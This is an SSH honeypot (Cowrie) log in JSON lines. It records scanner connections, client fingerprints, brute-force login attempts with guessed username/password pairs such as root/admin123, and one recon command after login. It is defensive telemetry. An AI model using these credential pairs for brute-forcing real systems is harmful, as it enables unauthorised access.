{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:29.079343Z","src_ip":"135.181.101.111","session":"b6101589a10e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"binanceusd","password":"binanceusd2017!","message":"login attempt [binanceusd/binanceusd2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:29.297835Z","src_ip":"135.181.101.111","session":"b6101589a10e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:30.408071Z","src_ip":"135.181.101.111","session":"b6101589a10e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":35616,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e0c502bff5","protocol":"ssh","message":"New connection: 14.225.2.125:35616 (10.17.0.5:22) [session: 75e0c502bff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:50.147430Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:50.420458Z","src_ip":"14.225.2.125","session":"75e0c502bff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":35626,"dst_ip":"10.17.0.5","dst_port":22,"session":"12335345f2e0","protocol":"ssh","message":"New connection: 14.225.2.125:35626 (10.17.0.5:22) [session: 12335345f2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:50.670607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:50.674949Z","src_ip":"14.225.2.125","session":"12335345f2e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:50.930998Z","src_ip":"14.225.2.125","session":"12335345f2e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mokha","password":"1","message":"login attempt [mokha/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:51.697606Z","src_ip":"14.225.2.125","session":"12335345f2e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":37160,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dac8d22b12a","protocol":"ssh","message":"New connection: 103.154.77.48:37160 (10.17.0.5:22) [session: 3dac8d22b12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:52.159495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:52.163134Z","src_ip":"103.154.77.48","session":"3dac8d22b12a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:52.424713Z","src_ip":"103.154.77.48","session":"3dac8d22b12a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:52.955828Z","src_ip":"14.225.2.125","session":"12335345f2e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"contab","password":"contab1234","message":"login attempt [contab/contab1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:53.509042Z","src_ip":"103.154.77.48","session":"3dac8d22b12a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:35:54.773062Z","src_ip":"103.154.77.48","session":"3dac8d22b12a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53600,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f2404b6a51e","protocol":"ssh","message":"New connection: 2.57.122.96:53600 (159.203.135.109:22) [session: 7f2404b6a51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:07.769634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:07.797675Z","src_ip":"2.57.122.96","session":"7f2404b6a51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":47486,"dst_ip":"159.203.135.109","dst_port":22,"session":"54059942acd1","protocol":"ssh","message":"New connection: 92.118.39.95:47486 (159.203.135.109:22) [session: 54059942acd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:07.861416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:07.866076Z","src_ip":"92.118.39.95","session":"54059942acd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:07.870409Z","src_ip":"2.57.122.96","session":"7f2404b6a51e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:07.970269Z","src_ip":"92.118.39.95","session":"54059942acd1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin123","message":"login attempt [root/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:08.258205Z","src_ip":"2.57.122.96","session":"7f2404b6a51e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:08.318475Z","src_ip":"92.118.39.95","session":"54059942acd1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:08.494215Z","src_ip":"2.57.122.96","session":"7f2404b6a51e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:08.497562Z","src_ip":"2.57.122.96","session":"7f2404b6a51e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:08.596204Z","src_ip":"2.57.122.96","session":"7f2404b6a51e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:08.600476Z","src_ip":"2.57.122.96","session":"7f2404b6a51e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:09.427428Z","src_ip":"92.118.39.95","session":"54059942acd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":57104,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a3169f30e35","protocol":"ssh","message":"New connection: 20.244.95.173:57104 (10.17.0.5:22) [session: 0a3169f30e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:14.429620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:14.433558Z","src_ip":"20.244.95.173","session":"0a3169f30e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:14.647086Z","src_ip":"20.244.95.173","session":"0a3169f30e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stormx","password":"stormx2017","message":"login attempt [stormx/stormx2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:15.075197Z","src_ip":"20.244.95.173","session":"0a3169f30e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:16.290831Z","src_ip":"20.244.95.173","session":"0a3169f30e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.222.53","src_port":48688,"dst_ip":"10.17.0.5","dst_port":22,"session":"20b1addd6281","protocol":"ssh","message":"New connection: 47.239.222.53:48688 (10.17.0.5:22) [session: 20b1addd6281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:23.286871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:23.290413Z","src_ip":"47.239.222.53","session":"20b1addd6281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:23.495230Z","src_ip":"47.239.222.53","session":"20b1addd6281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"12345678","message":"login attempt [simon/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:24.339303Z","src_ip":"47.239.222.53","session":"20b1addd6281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":60296,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9ab47aad6a1","protocol":"ssh","message":"New connection: 20.244.95.173:60296 (159.203.135.109:22) [session: f9ab47aad6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:37.174686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:37.179343Z","src_ip":"20.244.95.173","session":"f9ab47aad6a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","a